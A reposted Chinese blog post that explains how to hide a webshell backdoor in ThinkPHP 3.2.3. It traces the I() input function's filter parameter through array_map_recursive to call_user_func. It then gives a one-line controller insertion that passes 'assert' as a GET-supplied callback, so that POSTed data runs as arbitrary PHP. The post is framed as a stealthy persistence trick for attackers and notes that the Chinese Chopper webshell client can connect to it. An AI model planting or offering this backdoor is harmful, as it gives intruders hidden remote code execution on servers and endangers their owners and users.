think php 后门,ThinkPHP留后门技巧

原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。

thinkphp的I函数,是其处理输入的函数,一般用法为I(‘get.id‘)——从$_GET数组中取出键为id的值,post、cookie类似。

let me see see I函数的代码:

01

function I($name,$default =‘‘,$filter = null,$datas = null)

02

{

03

...

04

05

if (‘‘ ==$name) {

06

// 获取全部变量

07

$data    =$input;

08

$filters = isset($filter) ?$filter : C(‘DEFAULT_FILTER‘);

09

if ($filters) {

10

if (is_string($filters)) {

11

$filters =explode(‘,‘,$filters);

12

}

13

foreach ($filters as $filter) {

14

$data = array_map_recursive($filter,$data);// 参数过滤

15

}

16

}

17

}elseif (isset($input[$name])) {

18

// 取值操作

19

$data    =$input[$name];

20

$filters = isset($filter) ?$filter : C(‘DEFAULT_FILTER‘);

21

if ($filters) {

22

if (is_string($filters)) {

23

if (0 ===strpos($filters,‘/‘)) {

24

if (1 !== preg_match($filters, (string)$data)) {

25

// 支持正则验证

26

return isset($default) ?$default : null;

27

}

28

}else {

29

$filters =explode(‘,‘,$filters);

30

}

31

}elseif (is_int($filters)) {

32

$filters =array($filters);

33

}

34

35

if (is_array($filters)) {

36

foreach ($filters as $filter) {

37

if (function_exists($filter)) {

38

$data =is_array($data) ? array_map_recursive($filter,$data) :$filter($data);// 参数过滤

39

}else {

40

$data = filter_var($data,is_int($filter) ?$filter : filter_id($filter));

41

if (false ===$data) {

42

return isset($default) ?$default : null;

43

}

44

}

45

}

46

}

47

}

48

...

49

return $data;

50

}

I函数的第三个参数是$filter,作用是对变量的过滤。

新版本(3.2.3)中,$filter可以传入两种4种值:

1.一个过滤函数(字符串)

2.一些过滤函数组成的字符串,其间用“|”分割

3.一些过滤函数的字符串组成的数组

4.以“/”开头的正则表达式

可见代码,若$filter为空的话,其默认值为C(‘DEFAULT_FILTER‘)。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

thum-07e21444846812.png

以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:

1

if (0 ===strpos($filters,‘/‘)) {

2

if (1 !== preg_match($filters, (string)$data)) {

3

// 支持正则验证

4

return isset($default) ?$default : null;

5

}

6

}

如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。

而回调函数部分,是我们留后门的关键。核心是这一段:

01

if (is_array($filters)) {

02

foreach ($filters as $filter) {

03

if (function_exists($filter)) {

04

$data =is_array($data) ? array_map_recursive($filter,$data) :$filter($data);// 参数过滤

05

}else {

06

$data = filter_var($data,is_int($filter) ?$filter : filter_id($filter));

07

if (false ===$data) {

08

return isset($default) ?$default : null;

09

}

10

}

11

}

12

}

如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。

我们跟进array_map_recursive函数:

01

function array_map_recursive($filter,$data)

02

{

03

$result =array();

04

foreach ($data as $key =>$val) {

05

$result[$key] =is_array($val)

06

? array_map_recursive($filter,$val)

07

: call_user_func($filter,$val);

08

}

09

return $result;

10

}

明显是一个递归执行的过程,最后调用的是call_user_func 。

还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。

所以,我们只需要随意找个controller,在可访问的方法中插入:

1

I(‘post.90sec‘,‘‘, I(‘get.i‘));

如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。

我就拿thinkphp默认的IndexController下的index方法示例:

thum-74ad1444847821.png

如下即可执行任意代码:

thum-b9411444847902.png

一个回调后门,菜刀也可以连接。

原文:http://www.cnblogs.com/hookjoy/p/4973396.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值